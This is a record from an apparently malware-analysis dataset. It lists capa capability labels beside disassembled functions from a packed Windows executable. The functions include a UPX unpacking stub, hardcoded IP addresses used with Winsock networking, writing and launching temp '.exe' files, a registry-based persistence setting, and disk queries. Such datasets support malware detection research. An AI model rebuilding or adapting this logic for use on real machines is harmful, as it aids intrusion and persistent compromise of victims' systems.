joyce8/EMBER2024-capa huggingface dataset:
Function at 0x460ee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x54000]
push edi
jmp 0x460efa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x460f01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x460ef0
mov eax, 1
add ebx, ebx
jne 0x460f13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x460f24
jne 0x460f43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x460f43
dec eax
add ebx, ebx
jne 0x460f30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x460f08
add ebx, ebx
jne 0x460f3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x460f95
xor ecx, ecx
sub eax, 3
jb 0x460f5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x460fca
sar eax, 1
mov ebp, eax
jmp 0x460f66
add ebx, ebx
jne 0x460f66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x460f34
inc ecx
add ebx, ebx
jne 0x460f74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x460f34
add ebx, ebx
jne 0x460f81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x460f76
jne 0x460f92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x460f76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x460fb4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x460fa6
jmp 0x460ef6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x460fb4
add edi, ecx
jmp 0x460ef6
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x460fd2
cmp byte [edi], 9
jne 0x460fd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x460fd7
lea edi, [esi + 0x5e000]
mov eax, dword [edi]
or eax, eax
je 0x46104f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa39e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa3ac0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x461004
mov ecx, edi
jns 0x461033
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa3ac8]
or eax, eax
je 0x461049
mov dword [ebx], eax
add ebx, 4
jmp 0x461021
call dword [esi + 0xa3ac4]
mov ebp, dword [esi + 0xa3acc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x461083
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ebx
push edi
push esi
call fcn.004025b0
mov edi, 0x200
push edi
xor ebx, ebx
lea eax, [esi + 4]
push ebx
push eax
call fcn.004105d0
push edi
lea eax, [esi + 0x204]
push ebx
push eax
call fcn.004105d0
mov edi, 0x80
push edi
lea eax, [esi + 0x408]
push ebx
push eax
call fcn.004105d0
push edi
lea eax, [esi + 0x488]
push ebx
push eax
call fcn.004105d0
push edi
lea eax, [esi + 0x50a]
push ebx
push eax
call fcn.004105d0
add esp, 0x40
push 8
pop ecx
xor eax, eax
push 8
lea edi, [esi + 0x58c]
rep stosd dword es:[edi], eax
pop ecx
lea edi, [esi + 0x9bc]
rep stosd dword es:[edi], eax
lea eax, [esi + 0x5ac]
push eax
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push edi
lea eax, [esi + 0x7b4]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
pop edi
mov eax, esi
pop ebx
ret

Function at 0x40113d
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x19c]
sub esp, 0x21c
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp + 0x198], eax
push esi
push edi
xor eax, eax
xor edi, edi
push 0x206
mov word [ebp - 0x70], ax
lea eax, [ebp - 0x6e]
mov esi, ecx
push edi
push eax
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], edi
call fcn.004105d0
add esp, 0xc
mov dword [ebp - 0x74], edi
cmp esi, edi
je 0x401236
cmp ebx, edi
je 0x401236
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x401194
sub eax, edx
sar eax, 1
je 0x401236
cmp dword [ebp + 0x1a8], edi
jne 0x4011df
mov eax, dword [ebp + 0x1a4]
cmp dword [eax], 3
jne 0x4011df
mov esi, 0x104
push esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x421cdc
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.0040d4b4
add esp, 0xc
jmp 0x4011ef
lea eax, [ebp - 0x70]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push ebx
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.0040d4b4
push 0x421ce0
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.0040d5f7
add esp, 0x18
cmp dword [ebp - 0x74], edi
je 0x401236
push dword [ebp - 0x74]
xor esi, esi
inc esi
push esi
push 0x200
push dword [ebp - 0x7c]
call fcn.0040d8ea
push dword [ebp - 0x74]
call fcn.0040d97e
add esp, 0x14
mov dword [ebp - 0x78], esi
mov ecx, dword [ebp + 0x198]
mov eax, dword [ebp - 0x78]
pop edi
xor ecx, ebp
pop esi
call fcn.0040d4a5
add ebp, 0x19c
leave
ret 8

Function at 0x401252
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, 0x104
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x421cdc
push esi
push dword [esp + 0x10]
call fcn.0040d4b4
add esp, 0xc
pop esi
ret 4
Function at 0x4012db
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.004105d0
add esp, 0xc
test edi, edi
je 0x4013a1
and dword [ebp - 0x7c], esi
mov ecx, 0x421ce8
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x401326
sub eax, esi
sar eax, 1
je 0x40134a
push 0x421cec
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.0040d5f7
add esp, 0xc
jmp 0x40137e
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x421ca8
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.0040d4b4
push 0x421cec
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0040d5f7
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x4013a1
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.0040db5c
push dword [ebp - 0x7c]
call fcn.0040d97e
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040d4a5
add ebp, 0x194
leave
ret

Function at 0x4013b9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004105d0
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [eax], 3
lea eax, [ebp - 0x20c]
push eax
jne 0x401400
call fcn.00401252
jmp 0x40140b
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.0040d4a5
leave
ret 4

Function at 0x401430
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40148f
mov eax, dword [ebp + 8]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x40145a
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 8]
push 1
push 0
push 0x421d74
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40148f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret 4
Function at 0x401fdc
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc0c
mov eax, dword [0x426040]
xor eax, esp
mov dword [esp + 0xc08], eax
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
lea esi, [esp + 0x10]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
call fcn.004024dc
xor eax, eax
push 0x206
mov word [esp + 0xa0c], ax
lea eax, [esp + 0xa0e]
push ebx
push eax
call fcn.004105d0
add esp, 0xc
push 0x427060
call fcn.004025b0
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea esi, [esp + 0x28]
call fcn.00401000
mov ecx, esi
call fcn.00401495
test eax, eax
je 0x402066
call fcn.004034d0
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x4280e0
push 0x67
push edi
call esi
push 0x64
mov ebx, 0x428018
push ebx
push 0x6d
push edi
call esi
mov eax, edi
call fcn.004021b8
xor esi, esi
push esi
push edi
push esi
push esi
push esi
mov eax, connect
push eax
push esi
push eax
push 0xcf0000
push 0x4280e0
push ebx
push esi
mov dword [0x4281a8], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x4020c0
call fcn.00402229
cmp eax, esi
jne 0x4020d9
mov ecx, dword [esp + 0xc14]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040d4a5
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov eax, dword [0x428828]
cmp eax, esi
jbe 0x40210d
cmp word [0x42882c], si
jbe 0x40210d
push str.218.54.31.226
push eax
call fcn.00404270
mov ax, word [0x42882c]
pop ecx
pop ecx
mov word [0x42707c], ax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov edi, ecx
div edi
xor edx, edx
mov ebx, 0x428da0
div ecx
push edx
push str.tmp4_X.exe
push ebx
call fcn.004024c1
add esp, 0xc
call fcn.00404390
lea eax, [esp + 0xa08]
push eax
call fcn.00404320
mov dword [esp], 0x421cdc
mov edi, 0x104
lea eax, [esp + 0xa0c]
push edi
push eax
call fcn.0040d4b4
add esp, 0xc
push ebx
lea eax, [esp + 0xa0c]
push edi
push eax
call fcn.0040d4b4
add esp, 0xc
lea eax, [esp + 0xa08]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4021ad
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
push esi
push 0x421ce8
lea eax, [esp + 0xa14]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00401d9c
push esi
jmp 0x402060
Function at 0x402229
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
xor esi, esi
lea eax, [ebp - 0x246]
push esi
push eax
call fcn.004105d0
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x4289a0
push 1
call fcn.004026d0
pop ecx
pop ecx
push 2
pop ebx
test eax, eax
jne 0x402347
push 0x3a
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push esi
push eax
call fcn.004105d0
lea eax, [ebp - 0x40]
add esp, 0xc
push eax
call fcn.00403970
pop ecx
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x428b48], cx
add eax, ebx
cmp cx, si
jne 0x4022a9
push str.218.54.30.235
push 0x40
push 0x4289a4
call fcn.0040dbde
add esp, 0xc
push str.AAAA
push 0x10
push 0x428a26
call fcn.0040dbde
add esp, 0xc
push 0x421dac
push 0x40
push 0x428a46
call fcn.0040dbde
add esp, 0xc
push 0x51
pop eax
mov word [0x428a24], ax
mov eax, 0x2b70
mov word [0x428ac6], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x428b28], cx
add eax, ebx
cmp cx, si
jne 0x40230e
mov edi, 0x428b28
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x402328
mov esi, 0x421e3c
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x428b68], 5
xor esi, esi
call fcn.00403a80
lea eax, [ebp - 0x248]
push eax
call fcn.00403970
pop ecx
xor eax, eax
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x428960], cx
add eax, ebx
cmp cx, si
jne 0x40235b
mov edi, 0x428960
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
cmp eax, esi
je 0x402392
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x4023d7
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
test eax, eax
je 0x40238e
push 0x421dac
call fcn.00403ba0
pop ecx
mov ebx, 0x428ba0
mov dword [0x428828], eax
call fcn.00401c69
mov eax, dword [0x428b6c]
push esi
push esi
push esi
push 0x404120
push esi
push esi
mov dword [0x428ba8], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d4a5
leave
ret
Function at 0x4024dc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 4], 0
mov ecx, 0x421ce8
mov eax, ecx
lea edx, [eax + 2]
push edi
mov di, word [eax]
inc eax
inc eax
test di, di
jne 0x4024f1
sub eax, edx
sar eax, 1
jne 0x402505
xor eax, eax
jmp 0x402569
push 0x421cec
push ecx
lea eax, [ebp - 4]
push eax
call fcn.0040d5f7
add esp, 0xc
test eax, eax
jne 0x402501
push dword [ebp - 4]
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x4d42
mov word [ebp - 0x18], ax
mov eax, dword [esi + 4]
add eax, 0xe
push 1
mov dword [ebp - 0x16], eax
lea eax, [ebp - 0x18]
push 0xe
push eax
mov dword [ebp - 0xe], 0x36
call fcn.0040db5c
push dword [ebp - 4]
push 1
push dword [esi + 4]
push dword [esi]
call fcn.0040db5c
push dword [ebp - 4]
call fcn.0040d97e
xor eax, eax
add esp, 0x24
inc eax
pop edi
leave
ret

Function at 0x4025b0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov word [ebp - 0x134], cx
mov dword [ebp - 0x130], 0
push 0x118
push 0
lea edx, [ebp - 0x12c]
push edx
call fcn.004105d0
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
test eax, eax
je 0x4026b6
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x128]
mov dword [ebp - 4], edx
mov ax, word [ebp - 0x1c]
mov word [ebp - 0x134], ax
cmp dword [ebp - 8], 5
jne 0x402660
cmp dword [ebp - 4], 0
jne 0x402660
movzx ecx, word [ebp - 0x134]
cmp ecx, 4
jl 0x402660
mov edx, dword [ebp + 8]
mov dword [edx], 1
cmp dword [ebp - 8], 5
jne 0x402675
cmp dword [ebp - 4], 2
jne 0x402675
mov eax, dword [ebp + 8]
mov dword [eax], 2
cmp dword [ebp - 8], 5
jne 0x402690
cmp dword [ebp - 4], 2
jae 0x402687
cmp dword [ebp - 4], 1
jne 0x402690
mov ecx, dword [ebp + 8]
mov dword [ecx], 3
cmp dword [ebp - 8], 6
jne 0x4026b6
cmp dword [ebp - 4], 0
jne 0x4026a7
mov edx, dword [ebp + 8]
mov dword [edx], 4
jmp 0x4026b6
cmp dword [ebp - 4], 1
jne 0x4026b6
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040d4a5
mov esp, ebp
pop ebp
ret
Function at 0x4027f0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.004105d0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x40283f
cmp dword [ebp + 0xc], 0
jne 0x402849
jmp 0x40291a
cmp dword [ebp + 0x10], 0
je 0x40289e
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x218]
add eax, 2
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x218]
mov dx, word [ecx]
mov word [ebp - 0x21e], dx
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x402867
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x21c]
sar eax, 1
mov dword [ebp - 0x224], eax
jne 0x4028a2
jmp 0x40291a
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.0040d4b4
add esp, 0xc
push 0x424004
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.0040d5f7
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4028ee
jmp 0x40291a
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040d8ea
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.0040d97e
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040d4a5
mov esp, ebp
pop ebp
ret
Function at 0x402930
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.004105d0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x40297f
cmp dword [ebp + 0xc], 0
jne 0x402989
jmp 0x402a96
cmp dword [ebp + 0x10], 0
je 0x4029de
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x218]
add eax, 2
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x218]
mov dx, word [ecx]
mov word [ebp - 0x21e], dx
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x4029a7
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x21c]
sar eax, 1
mov dword [ebp - 0x224], eax
jne 0x4029e8
jmp 0x402a96
cmp dword [0x427060], 3
jne 0x402a1e
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x42400c
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.0040d4b4
add esp, 0xc
jmp 0x402a30
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov ecx, dword [ebp + 0x10]
push ecx
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.0040d4b4
add esp, 0xc
push 0x424010
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.0040d5f7
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x402a6a
jmp 0x402a96
mov edx, dword [ebp - 4]
push edx
push 1
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040d8ea
add esp, 0x10
mov edx, dword [ebp - 4]
push edx
call fcn.0040d97e
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040d4a5
mov esp, ebp
pop ebp
ret

Function at 0x402c60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.004105d0
add esp, 0xc
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0xffffffff
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
movzx eax, word [ebp - 0x210]
sub eax, 0x41
mov dword [ebp - 0x218], eax
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x218]
push edx
call fcn.00402f30
add esp, 8
mov eax, dword [ebp - 0x21c]
push eax
call fcn.00403050
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x402d0a
xor eax, eax
jmp 0x402d1d
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x214]
push edx
call fcn.00402ab0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d4a5
mov esp, ebp
pop ebp
ret
Function at 0x402d30
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x402d7f
jmp 0x402e67
mov dword [ebp - 8], 0xc00
mov eax, dword [ebp - 8]
push eax
call fcn.0040e09e
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
push 0
push 0
push 0x70050
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
jne 0x402dca
jmp 0x402e67
mov dword [ebp - 4], 0
jmp 0x402ddc
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x402e4a
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x90
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + eax + 0x3c]
cmp edx, dword [ebp - 0xc]
jl 0x402e48
jg 0x402e14
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + eax + 0x38]
cmp edx, dword [ebp - 0x10]
jbe 0x402e48
mov eax, dword [ebp - 4]
imul eax, eax, 0x90
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax + 0x38]
mov dword [ebp - 0x10], edx
mov eax, dword [ecx + eax + 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x90
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + ecx + 0x40]
mov dword [ebp - 0x20], eax
mov ecx, dword [edx + ecx + 0x44]
mov dword [ebp - 0x1c], ecx
jmp 0x402dd3
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
adc eax, dword [ebp - 0x1c]
push 0
push 0x200
push eax
push edx
call fcn.0041b430
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], 0
je 0x402e86
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0040dce2
add esp, 4
mov dword [ebp - 0x24], 0
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret